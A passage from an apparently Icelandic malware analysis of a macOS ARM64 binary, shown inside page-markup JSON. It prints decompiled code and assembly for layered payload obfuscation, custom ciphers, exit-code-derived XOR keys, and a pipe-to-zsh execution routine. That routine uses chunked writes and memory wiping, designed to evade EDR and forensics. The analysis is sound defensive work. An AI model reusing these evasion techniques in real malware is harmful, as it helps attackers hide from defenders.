b\n",[578,13990,13988],{"__ignoreMap":529},[525,13992,13993,13996,13997,14000,14001,14004],{},[578,13994,13995],{},"ASR"," (arithmetic shift right) er lykilatriði: hann varðveitir sign bit-ið. Ef millistigsniðurstaða úr ",[578,13998,13999],{},"(b×3) XOR a"," er neikvæð, sem gerist oft, myndi logical shift skila allt annarri niðurstöðu. Þetta er meðvitað: sá sem endurgerir formúluna í hærra forritunarmáli með ",[578,14002,14003],{},">>"," fær hljóðlaust rangar úttakstölur ef signed arithmetic er ekki tekin sérstaklega með í reikninginn.",[525,14006,14007,14008,14010,14011,14013,14014,14017],{},"56-stafa afbrigðið ",[578,14009,13764],{}," er byggingarlega eins, vinnur á ",[578,14012,13771],{}," með loop-límiti upp á ",[578,14015,14016],{},"0x38",". Báðar fúnksjónirnar voru staðfestar í Ghidra við þessa greiningu.",[13091,14019],{},[888,14021,14023],{"id":14022},"layer-2-hex-strengja-kóðun","Layer 2: hex-strengja kóðun",[525,14025,894],{},[525,14027,14028,14029,14032,14033,13753,14036,14039,14040,613],{},"Hráu byte-in sem Layer 1 gefur af sér eru sjálf ASCII-hex-stafir, ekki binary-gögn. Úttak úr Layer 1 triplet-decode er strengur af hex-pörum: ",[578,14030,14031],{},"32694e5462...",". Þetta er staðfest af decoder-fúnksjónnini ",[578,14034,14035],{},"FUN_100000dc0",[578,14037,14038],{},"0x100000dc0",", sem útfærir hex-decode gegnum lookup-töflu á ",[578,14041,14042],{},"DAT_1007bb591",[525,14044,14045,14046,13904,14049,646,14052,13904,14055,646,14058,13904,14061,14064],{},"Ghidra-decompile-ið sýnir switch-setningu sem varpar hverjum hex-stafi (",[578,14047,14048],{},"0x30",[578,14050,14051],{},"0x39",[578,14053,14054],{},"0x41",[578,14056,14057],{},"0x46",[578,14059,14060],{},"0x61",[578,14062,14063],{},"0x66",") á nibble-gildi sitt og setur saman úttaks-byte tvo stafi í einu:",[853,14066,14067],{"style":13128},[13568,14068,14069,14072,14075,14078,14079,14082,14083,14085,14086,1564,14089,998,14091,14094,14095,4706,14098,1564,14100,14103,14104,13936,14107,14109,14110,4706,14113,1564,14115,14103,14118,13936,14121,14109,14123,4706,14126,4706,14129,1564,14131,998,14133,1564,14135,14103,14137,13936,14140,14142,14143,4706,14146,1564,14148,998,14151,1564,14153,14103,14156,13936,14159,14142,14161,4706,14164,1564,14166,998,14169,1564,14171,14174,14175,13936,14178,14142,14180,4706,14183,1564,14185,998,14188,1564,14190,14193,14194,13936,14197,14142,14199,4706,14202,1564,14204,998,14207,1564,14209,14103,14212,13936,14215,14142,14217,4706,14220,1564,14222,998,14224,1564,14226,14103,14228,13936,14231,14142,14233,14236,14237,14240,14241,14082,14244,14246,14247,14249,14250,14253],{},[1712,14070,14071],{"style":13572},"// FUN_100000dc0 @ 0x100000dc0",[1712,14073,14074],{"style":13572},"// Hex decoder, processes input two characters per output byte",[1712,14076,14077],{"style":13581},"switch","(*(",[1712,14080,14081],{"style":13581},"undefined1"," *)((",[1712,14084,13791],{"style":13581},")plVar2 + lVar7)) {\n  ",[1712,14087,14088],{"style":13581},"case",[1712,14090,14048],{"style":13605},[1712,14092,14093],{"style":13581},"break",";                  ",[1712,14096,14097],{"style":13572},"// '0' → 0x00",[1712,14099,14088],{"style":13581},[1712,14101,14102],{"style":13605},"0x31",": bVar9 = ",[1712,14105,14106],{"style":13605},"0x10",[1712,14108,14093],{"style":13581},";   ",[1712,14111,14112],{"style":13572},"// '1' → 0x10",[1712,14114,14088],{"style":13581},[1712,14116,14117],{"style":13605},"0x32",[1712,14119,14120],{"style":13605},"0x20",[1712,14122,14093],{"style":13581},[1712,14124,14125],{"style":13572},"// '2' → 0x20",[1712,14127,14128],{"style":13572},"// ... '3' through '9' ...",[1712,14130,14088],{"style":13581},[1712,14132,14054],{"style":13605},[1712,14134,14088],{"style":13581},[1712,14136,14060],{"style":13605},[1712,14138,14139],{"style":13605},"0xa0",[1712,14141,14093],{"style":13581},";  ",[1712,14144,14145],{"style":13572},"// 'A'/'a' → 0xa0",[1712,14147,14088],{"style":13581},[1712,14149,14150],{"style":13605},"0x42",[1712,14152,14088],{"style":13581},[1712,14154,14155],{"style":13605},"0x62",[1712,14157,14158],{"style":13605},"0xb0",[1712,14160,14093],{"style":13581},[1712,14162,14163],{"style":13572},"// 'B'/'b' → 0xb0",[1712,14165,14088],{"style":13581},[1712,14167,14168],{"style":13605},"0x43",[1712,14170,14088],{"style":13581},[1712,14172,14173],{"style":13605},"99",":   bVar9 = ",[1712,14176,14177],{"style":13605},"0xc0",[1712,14179,14093],{"style":13581},[1712,14181,14182],{"style":13572},"// 'C'/'c' → 0xc0",[1712,14184,14088],{"style":13581},[1712,14186,14187],{"style":13605},"0x44",[1712,14189,14088],{"style":13581},[1712,14191,14192],{"style":13605},"100",":  bVar9 = ",[1712,14195,14196],{"style":13605},"0xd0",[1712,14198,14093],{"style":13581},[1712,14200,14201],{"style":13572},"// 'D'/'d' → 0xd0",[1712,14203,14088],{"style":13581},[1712,14205,14206],{"style":13605},"0x45",[1712,14208,14088],{"style":13581},[1712,14210,14211],{"style":13605},"0x65",[1712,14213,14214],{"style":13605},"0xe0",[1712,14216,14093],{"style":13581},[1712,14218,14219],{"style":13572},"// 'E'/'e' → 0xe0",[1712,14221,14088],{"style":13581},[1712,14223,14057],{"style":13605},[1712,14225,14088],{"style":13581},[1712,14227,14063],{"style":13605},[1712,14229,14230],{"style":13605},"0xf0",[1712,14232,14093],{"style":13581},[1712,14234,14235],{"style":13572},"// 'F'/'f' → 0xf0","\n}\n",[1712,14238,14239],{"style":13572},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[1712,14242,14243],{"style":13581},"byte",[1712,14245,13791],{"style":13581},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[1712,14248,13622],{"style":13581},")uVar4 & ",[1712,14251,14252],{"style":13605},"0xff","] | bVar9;\n",[525,14255,14256],{},"ARM64-assembly-ið drífur þetta áfram með aukalegri computed branch-töflu og útfærir í raun 55-færslu jump-töflu fyrir switchinn:",[853,14258,14259],{"style":13128},[615,14260,14263],{"className":14261,"code":14262,"language":620},[618],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[578,14264,14262],{"__ignoreMap":529},[525,14266,14267],{},"Tveir computed branches innan 24-byte glugga. Statísk greiningartól ráða ekki við þetta mynstur vegna þess að bæði branch targets eru óþekkt á greiningartíma.",[525,14269,14270],{},"137.208-stafa hex-strengur skilar eftir afkóðun 68.604 byte-um, sem síðan fara inn í Layer 3.",[13091,14272],{},[888,14274,14276],{"id":14275},"layer-3-sérsniðinn-16-tákna-nibble-alphabet","Layer 3: sérsniðinn 16-tákna nibble-alphabet",[525,14278,894],{},[525,14280,14281],{},"68.604 úttaks-byte-in úr Layer 2 nota aðeins 16 einstök byte-gildi úr tveimur ósamhengjum ASCII-sviðum:",[630,14283,14284,14327],{},[633,14285,14286,14289,14290,646,14293,646,14296,646,14299,646,14302,646,14304,646,14307,646,14310,646,14312,646,14314,646,14317,646,14319,646,14321,646,14323,646,14325],{},[578,14287,14288],{},"0x20-0x2F",": bil, ",[578,14291,14292],{},"!",[578,14294,14295],{},"\"",[578,14297,14298],{},"#",[578,14300,14301],{},"$",[578,14303,4027],{},[578,14305,14306],{},"&",[578,14308,14309],{},"'",[578,14311,3224],{},[578,14313,1138],{},[578,14315,14316],{},"*",[578,14318,3770],{},[578,14320,10741],{},[578,14322,13904],{},[578,14324,613],{},[578,14326,6521],{},[633,14328,14329,998,14332,646,14335,646,14338,646,14341,646,14344,646,14347,646,14350,14353],{},[578,14330,14331],{},"0x78-0x7F",[578,14333,14334],{},"x",[578,14336,14337],{},"y",[578,14339,14340],{},"z",[578,14342,14343],{},"{",[578,14345,14346],{},"|",[578,14348,14349],{},"}",[578,14351,14352],{},"~",", DEL",[525,14355,14356],{},"Þetta er meðvituð hönnunarákvörðun. Í hex-editor líta þessi byte út eins og bil, greinarmerki og ASCII-jaðartákn; þau renna saman við hávaðann af því sem virkar eins og metadata eða padding. Analyst sem rennir yfir hex-dump merkir ekki þessi byte-svið sem grunsamleg og staðlaðar entropy-greiningar vanmeta virka entropy-una því byte-dreifingin virðist ekki tilviljanakennd.",[525,14358,14359,14360,14363,14364,14367,14368,14371,14372,14375],{},"Hvert byte úr þessu alphabet-i kóðar eitt nibble af sjálfum payload-num. Alphabet-til-nibble vörpuninni er beitt af encode/decode-fúnksjónnini ",[578,14361,14362],{},"FUN_100000d60",", sem við staðfestum á ",[578,14365,14366],{},"0x100000d60",". Hún tengir tvær sub-fúnksjónir: ",[578,14369,14370],{},"FUN_100000b50"," býr til indexerað map af stöfum inntaksstrengsins, og ",[578,14373,14374],{},"FUN_100000c34"," fer í gegnum þetta map, notar 6 bit í hverju skrefi og safnar úttaks-byte-um 8 bit í einu:",[853,14377,14378],{"style":13128},[13568,14379,14380,14383,14384,3470,14386,14388,14389,14391,14392,14395,14396,4706,14399,14401,14402,14404,14405,4711,14408,14410,14411,14414,14415,14417,14418,4711,14421,10968,14423,14426,14427,14430,14431,14433,14434,14437,14438,14440,14441,14082,14444,14446,14447,14449,14450,14452],{},[1712,14381,14382],{"style":13572},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[1712,14385,13841],{"style":13605},[1712,14387,13859],{"style":13581}," {\n  local_52 = *(",[1712,14390,14081],{"style":13581}," *)puVar4;\n  lVar3 = ",[1712,14393,14394],{"style":13585},"FUN_1000a078c","(param_3, &local_52);  ",[1712,14397,14398],{"style":13572},"// look up nibble value",[1712,14400,13866],{"style":13581}," (lVar3 == ",[1712,14403,13841],{"style":13605},") {\n    ",[1712,14406,14407],{"style":13572},"// character not in alphabet, treat as raw",[1712,14409,14394],{"style":13585},"(param_3, &local_51);\n  } ",[1712,14412,14413],{"style":13581},"else"," {\n    iVar5 = iVar5 + ",[1712,14416,13626],{"style":13605},";           ",[1712,14419,14420],{"style":13572},"// accumulate 4 bits",[1712,14422,13943],{"style":13581},[1712,14424,14425],{"style":13605},"7"," \u003C iVar5) {\n      std::string::",[1712,14428,14429],{"style":13585},"push_back","((",[1712,14432,13874],{"style":13581},")param_1);  ",[1712,14435,14436],{"style":13572},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[1712,14439,13856],{"style":13605},";\n    }\n  }\n  puVar4 = (",[1712,14442,14443],{"style":13581},"undefined8",[1712,14445,13791],{"style":13581},")puVar4 + ",[1712,14448,13870],{"style":13605},");\n} ",[1712,14451,13943],{"style":13581}," (puVar4 != puVar1);\n",[525,14454,14455],{},"34.302 byte-in sem koma úr þessum umgangi eru 99,7% prentanlegt ASCII. Við fyrsta yfirlit lítur payload-inn á þessu stigi út eins og stórt shell-script eða configuration-blob.",[13091,14457],{},[888,14459,14461],{"id":14460},"layer-4-compile-time-strengja-obfuskun","Layer 4: compile-time strengja-obfuskun",[525,14463,894],{},[525,14465,14466],{},"Strengir sem eru notaðir innanhúss eru obfuskeraðir á compile-time með sömu triplet-reglu og Layer 1 og endurbyggðir á runtime rétt fyrir notkun. Í minni eru þeir aldrei lengur en nauðsynlegt er; buffer-inn er strax losaður eftir neyslu. Í statísku data-hluta binary-ins er afkóðaður strengur aldrei sjáanlegur.",[525,14468,14469,14470,14473],{},"Strengja-hash fúnksjónin ",[578,14471,14472],{},"FUN_100000730"," bætir við aukalag af obfuskun fyrir strengja-samanburð. Í stað þess að bera strengi beint saman, sem myndi skilja eftir plaintext í minni, reiknar binary-ið og ber saman integer-hash:",[853,14475,14476],{"style":13128},[13568,14477,14478,14481,14484,1564,14486,3224,14488,13792,14490,14492,14493,14496,14497,4706,14500,4706,14503,14506,14507,14509,14510,14512,14513,14515,14516,14142,14519,14522,14523,14525,14526,14528],{},[1712,14479,14480],{"style":13572},"// FUN_100000730 @ 0x100000730",[1712,14482,14483],{"style":13572},"// FNV-style string hash, avoids plaintext string comparisons",[1712,14485,13592],{"style":13581},[1712,14487,14472],{"style":13585},[1712,14489,13874],{"style":13581},[1712,14491,13592],{"style":13581}," iVar4 = ",[1712,14494,14495],{"style":13605},"0x19a8",";    ",[1712,14498,14499],{"style":13572},"// FNV offset basis (modified)",[1712,14501,14502],{"style":13572},"// ...",[1712,14504,14505],{"style":13581},"for"," (; uVar3 != ",[1712,14508,13841],{"style":13605},"; uVar3 = uVar3 - ",[1712,14511,13870],{"style":13605},") {\n    iVar4 = (",[1712,14514,13592],{"style":13581},")*pcVar1 + iVar4 * -",[1712,14517,14518],{"style":13605},"0x7fb91be3",[1712,14520,14521],{"style":13572},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[1712,14524,13870],{"style":13605},";\n  }\n  ",[1712,14527,13634],{"style":13581}," iVar4;\n}\n",[525,14530,14531],{},"ARM64-assembly-ið skiptir margfölduninni út fyrir fused multiply-add:",[853,14533,14534],{"style":13128},[615,14535,14538],{"className":14536,"code":14537,"language":620},[618],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[578,14539,14537],{"__ignoreMap":529},[525,14541,14542],{},"Þetta þýðir að jafnvel samanburður á tveimur strengjum innan binary-ins skapar ekki branch sem debugger getur gripið hreint á strengja-plani, aðeins á hash-plani.",[13091,14544],{},[888,14546,14548],{"id":14547},"layer-5-tvöfaldar-custom-stream-cipher-instances","Layer 5: tvöfaldar custom stream cipher instances",[525,14550,894],{},[525,14552,14553,14554,14557],{},"Á þessum stað verður obfuskun-arkitektúrinn óvenjulegur. Í binary-inu keyra ekki ein heldur ",[567,14555,14556],{},"tvær aðskildar cipher-instances",", hver með sína harðkóðuðu lookup-töflu og sinn upphafsteljara. Báðar nota sömu algorithm-uppbyggingu en framleiða ólíkar úttaks-alphabet-ar fyrir ólíka hluta payload-pipelínunnar.",[525,14559,14560,646,14563,13753,14566,1199],{},[567,14561,14562],{},"Instance A",[578,14564,14565],{},"FUN_10007ab34",[578,14567,14568],{},"0x10007ab34",[853,14570,14571],{"style":13128},[13568,14572,14573,14576,14577,3470,14580,14582,14583,14082,14585,14587,14588,14590,14591,14082,14593,14595,14596,14598,14599,14082,14601,14603,14604,14606,14607,14610,14611,14613,14614,14616],{},[1712,14574,14575],{"style":13572},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[1712,14578,14579],{"style":13605},"0x4c",[1712,14581,13859],{"style":13581}," {\n  bVar2 = *(",[1712,14584,14243],{"style":13581},[1712,14586,13791],{"style":13581},")local_e0 +\n          ((",[1712,14589,13622],{"style":13581},")(*(",[1712,14592,14243],{"style":13581},[1712,14594,13791],{"style":13581},")local_c8 + uVar5) ^ uVar6) & ",[1712,14597,14252],{"style":13605},"));\n  *(",[1712,14600,14243],{"style":13581},[1712,14602,13791],{"style":13581},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[1712,14605,13592],{"style":13581},")uVar5 + (uVar6 ^ bVar2);  ",[1712,14608,14609],{"style":13572},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[1712,14612,13870],{"style":13605},";\n} ",[1712,14615,13943],{"style":13581}," (uVar7 != uVar5);\n",[525,14618,14619,646,14622,13753,14625,1199],{},[567,14620,14621],{},"Instance B",[578,14623,14624],{},"FUN_10007a7e0",[578,14626,14627],{},"0x10007a7e0",[853,14629,14630],{"style":13128},[13568,14631,14632,14576,14635,3470,14638,14582,14640,14082,14642,14644,14645,14590,14647,14082,14649,14651,14652,14598,14654,14082,14656,14603,14658,14606,14660,14610,14663,14613,14665,14616],{},[1712,14633,14634],{"style":13572},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[1712,14636,14637],{"style":13605},"0x9f",[1712,14639,13859],{"style":13581},[1712,14641,14243],{"style":13581},[1712,14643,13791],{"style":13581},")local_c0 +\n          ((",[1712,14646,13622],{"style":13581},[1712,14648,14243],{"style":13581},[1712,14650,13791],{"style":13581},")local_a8 + uVar5) ^ uVar6) & ",[1712,14653,14252],{"style":13605},[1712,14655,14243],{"style":13581},[1712,14657,13791],{"style":13581},[1712,14659,13592],{"style":13581},[1712,14661,14662],{"style":13572},"// identical counter update formula",[1712,14664,13870],{"style":13605},[1712,14666,13943],{"style":13581},[525,14668,14669,14670,14672,14673,14675],{},"Algorithminn er byggingarlega eins, en upphafsteljarinn er ólíkur (",[578,14671,14579],{}," á móti ",[578,14674,14637],{},") og lookup-töflurnar liggja á mismunandi minnisheimilisföngum. Instance A er kölluð úr state 11 í state-vélinni til að framleiða kóðunar-alphabet-ið fyrir fyrstu payload-slóðina. Instance B er kölluð úr state 6 til að framleiða alphabet-ið fyrir decode á stóra shell-script payload-num.",[525,14677,14678,14679,14682,14683,14686,14687,14690],{},"Nánar tiltekið: um er að ræða ",[567,14680,14681],{},"substitution cipher með counter-háðum index",". Hvert úttaks-byte er tafla-lookup þar sem indexinn er ",[578,14684,14685],{},"(input_byte XOR counter) & 0xFF",". Teljarinn uppfærist eftir hvert byte sem ",[578,14688,14689],{},"counter = (i + (counter XOR output)) & 0xFF",", sem þýðir að hvert úttaks-byte hefur áhrif á ákvörðun næsta lookup-index. Það skapar háðnikeðju yfir alla úttaksruna: ekki er hægt að decrypt-a byte N nema hafa decrypt-að byte 0 til N-1 rétt. Partial dekryption eða villugreining verður þar með miklu erfiðari.",[525,14692,14693],{},"Hvorug instance-in er staðlað RC4. Það er engin S-box initialization-fasi, engin S-box swap-aðgerð. Lookup-töflurnar eru statískar, compile-time embedded konstantur.",[13091,14695],{},[888,14697,14699],{"id":14698},"layer-6-runtime-xor-með-exit-code-háðum-lykli","Layer 6: runtime XOR með exit-code-háðum lykli",[525,14701,894],{},[525,14703,14704,14705,14708],{},"Síðasta og greiningarlega krefjandi lagið beitir in-place XOR-umbreytingu á Stage-2 payload-inn. XOR-lykillinn er ekki harðkóðaður heldur leiddur á runtime út frá exit-code ",[567,14706,14707],{},"fyrstu shell-payload keyrslunnar",", og þar með í grundvallaratriðum ekki hægt að ákvarða með statískri greiningu. Binary-ið verður raunverulega að keyra og fyrsta shell-scriptið að klára að keyra áður en lykillinn er yfirhöfuð til.",[525,14710,14711],{},"Lykilleiðingar-runan í ARM64 state machine dispatcher-num:",[853,14713,14714],{"style":13128},[615,14715,14718],{"className":14716,"code":14717,"language":620},[618],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[578,14719,14717],{"__ignoreMap":529},[525,14721,14722],{},"XOR-loopurinn sem vinnur Stage-2 payload-inn:",[853,14724,14725],{"style":13128},[615,14726,14729],{"className":14727,"code":14728,"language":620},[618],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[578,14730,14728],{"__ignoreMap":529},[525,14732,14733,14734,14737,14738,14741,14742,14744],{},"Lykillinn er 16-bita gildi sem er leiddur út frá exit status byte fyrsta shell-payload-sins, margfaldað með ",[578,14735,14736],{},"0x7f0"," og bætt við núverandi gildi grunn-teljarasérgeymslunnar ",[578,14739,14740],{},"w26"," í state-vélinni. Margföldunarfastinn ",[578,14743,14736],{}," veldur því að einn-bita munur á exit-code framleiðir alveg annan lykil. Það er engin nýtanleg samfella milli nálægra lykilgilda.",[525,14746,14747],{},"Án þess að keyra binary-ið í stýrðu umhverfi og skrá nákvæmt exit-code fyrsta shell-payload-sins er Stage-2 payload-inn varanlega ógegnsær fyrir statíska greiningu. Þetta var erfiðasta hindrunin í allri greiningunni.",[13091,14749],{},[740,14751,14753],{"id":14752},"shell-keyrsla-pipes-í-stað-argumenta-og-simd-xor","Shell-keyrsla: pipes í stað argumenta, og SIMD-XOR",[525,14755,746],{},[525,14757,14758,14759,13753,14762,14765],{},"Shell-keyrslufúnksjónin ",[578,14760,14761],{},"FUN_10000091c",[578,14763,14764],{},"0x10000091c"," er arkitektúrlega áhugaverðasti hluti binary-ins. Hér kemur allt saman: afkóðaði payload-inn, obfuskerað skipunarheiti og skýr anti-forensics hönnun. Hver hönnunarákvörðun í þessari fúnksjón þjónar tilteknum evasion-tilgangi.",[888,14767,14769],{"id":14768},"skref-1-skipunarheitið-birtist-aldrei-í-plaintext","Skref 1: skipunarheitið birtist aldrei í plaintext",[525,14771,894],{},[525,14773,14774,14777,14778,14781,14782,14785,14786,14789],{},[578,14775,14776],{},"/bin/zsh"," er hvergi til í binary-inu sem plaintext. Í ",[578,14779,14780],{},"__cstring","-hluta á ",[578,14783,14784],{},"0x1007bb5c8"," liggur strengurinn sem obfuskeruð byte ",[578,14787,14788],{},"\\x01LG@\\x01T]F",". Afkóðunin fer fram á runtime gegnum eina XOR-aðgerð, staðfestanlega beint í ARM64-assembly:",[853,14791,14792],{"style":13128},[615,14793,14796],{"className":14794,"code":14795,"language":620},[618],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[578,14797,14795],{"__ignoreMap":529},[525,14799,14800,14801,14804,14805,14807,14808,14811],{},"XOR-lykillinn er ",[578,14802,14803],{},"0x2e",", ASCII-gildið fyrir ",[578,14806,613],{}," (punkt). Afkóðunin gerist í einni ",[578,14809,14810],{},"eor v0.8B, v0.8B, v1.8B"," instruction, ARM64-NEON vektor-skipun sem XOR-ar öll 8 byte-in samtímis. Að nota SIMD-instruction fyrir einfaldan 8-byte decode er óvenjulegt og hefur tvenn áhrif: hraðar en byte-fyrir-byte loop, og instruction-mynstrið sem myndast er í grundvallaratriðum ólíkt skalar-decode-loopum sem signature matching-tól eru þjálfuð á.",[525,14813,14814,14815,646,14818,646,14821,646,14824,14827,14828,14831],{},"Staðfestingin er einföld: ",[578,14816,14817],{},"0x01 XOR 0x2e = 0x2f = /",[578,14819,14820],{},"0x4c XOR 0x2e = 0x62 = b",[578,14822,14823],{},"0x47 XOR 0x2e = 0x69 = i",[578,14825,14826],{},"0x40 XOR 0x2e = 0x6e = n",", sem gefur ",[578,14829,14830],{},"/bin"," í fyrstu fjórum byte-unum.",[888,14833,14835],{"id":14834},"skref-2-pipe-arkitektúrinn","Skref 2: pipe-arkitektúrinn",[525,14837,894],{},[525,14839,14840],{},"Eftir afkóðun skipunarheitsins býr fúnksjónin til OS-pipe og forkar:",[853,14842,14843],{"style":13128},[615,14844,14847],{"className":14845,"code":14846,"language":620},[618],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[578,14848,14846],{"__ignoreMap":529},[525,14850,14851],{},"Í child-ferlinu:",[853,14853,14854],{"style":13128},[615,14855,14858],{"className":14856,"code":14857,"language":620},[618],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[578,14859,14857],{"__ignoreMap":529},[525,14861,14862,14863,14866,14867,14870,14871,14873],{},"Child-ferlið skiptir sínum staðlaða input út fyrir lesenda pipe-sins og ræsir ",[578,14864,14865],{},"/bin/zsh -s",". Í ",[578,14868,14869],{},"-s","-ham les shell-ið skipanir úr stdin. Fyrir process-monitoring tól birtist þetta ferli sem ",[578,14872,14865],{}," án argumenta, ógreinanlegt frá lögmætri interaktífri shell-session.",[888,14875,14877],{"id":14876},"skref-3-chunk-writes-af-breytilegri-stærð","Skref 3: chunk-writes af breytilegri stærð",[525,14879,894],{},[525,14881,14882],{},"Parent-ferlið skrifar afkóðaða payload-inn í meðvitað breytilegum chunk-stærðum á skrifenda pipe-sins:",[853,14884,14885],{"style":13128},[615,14886,14889],{"className":14887,"code":14888,"language":620},[618],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[578,14890,14888],{"__ignoreMap":529},[525,14892,14893,14894,14897,14898,8782,14901,14904,14905,14908],{},"Chunk-stærðarformúlan ",[578,14895,14896],{},"(remaining_length % 192) + 64"," framleiðir gildi milli 64 og 255 byte per write-kall, allt eftir eftirstæðri payload-lengd. Breytilega write-mynstrið er sýnilegt í kernel event tracing-tólum á borð við ",[578,14899,14900],{},"ktrace",[578,14902,14903],{},"dtrace",", en framleiðir ekki þekkjanlega fasta-stærðar signature. Hver keyrsla á sama payload framleiðir aðra runu af ",[578,14906,14907],{},"write()","-syscall stærðum.",[525,14910,14911,14912,14914],{},"1-míkrósekúndna ",[578,14913,13641],{}," milli chunk-anna hefur annan tilgang: það gefur CPU-inn lausan milli skrifa, heldur CPU-nýtingu flatri og forðast skyndilegan topp sem behavior-based EDR-regla gæti merkt sem óeðlilegt burst-I/O.",[888,14916,14918],{"id":14917},"skref-4-tafarlaus-minnishreinsun","Skref 4: tafarlaus minnishreinsun",[525,14920,894],{},[853,14922,14923],{"style":13128},[615,14924,14927],{"className":14925,"code":14926,"language":620},[618],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[578,14928,14926],{"__ignoreMap":529},[525,14930,14931,14934],{},[578,14932,14933],{},"_bzero()","-kallið núllstillir allan afkóðaða payload-buffer-inn beint eftir síðustu skrif í pipe-inn. Enginn tímagluggi, ekki einu sinni míkrósekúnda, þar sem afkóðaði payload-inn liggur enn í minni eftir að keyrslunni lýkur. Lifandi memory dump sem tekið er strax eftir að þessari fúnksjón lýkur finnur aðeins núll þar sem payload-inn var.",[525,14936,14937,14938,14941],{},"Þetta kallast ",[567,14939,14940],{},"zero-after-use",", sama tækni og háöryggis-cryptography libraries nota til að tryggja að lykilefni verði ekki eftir í minni. Að þessi tækni komi fram í commodity malware er óvenjulegt og bendir til þróunaraðila með security engineering bakgrunn.",[888,14943,14945],{"id":14944},"full-keyrsluruna","Full keyrsluruna:",[525,14947,894],{},[853,14949,14950],{"style":13128},[615,14951,14954],{"className":14952,"code":14953,"language":620},[618],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[578,14955,14953],{"__ignoreMap":529},[740,14957,14959],{"id":14958},"import-taflan-sem-vopn","Import-taflan sem vopn",[525,14961,746],{},[525,14963,14964],{},"Full import-tafla þessa 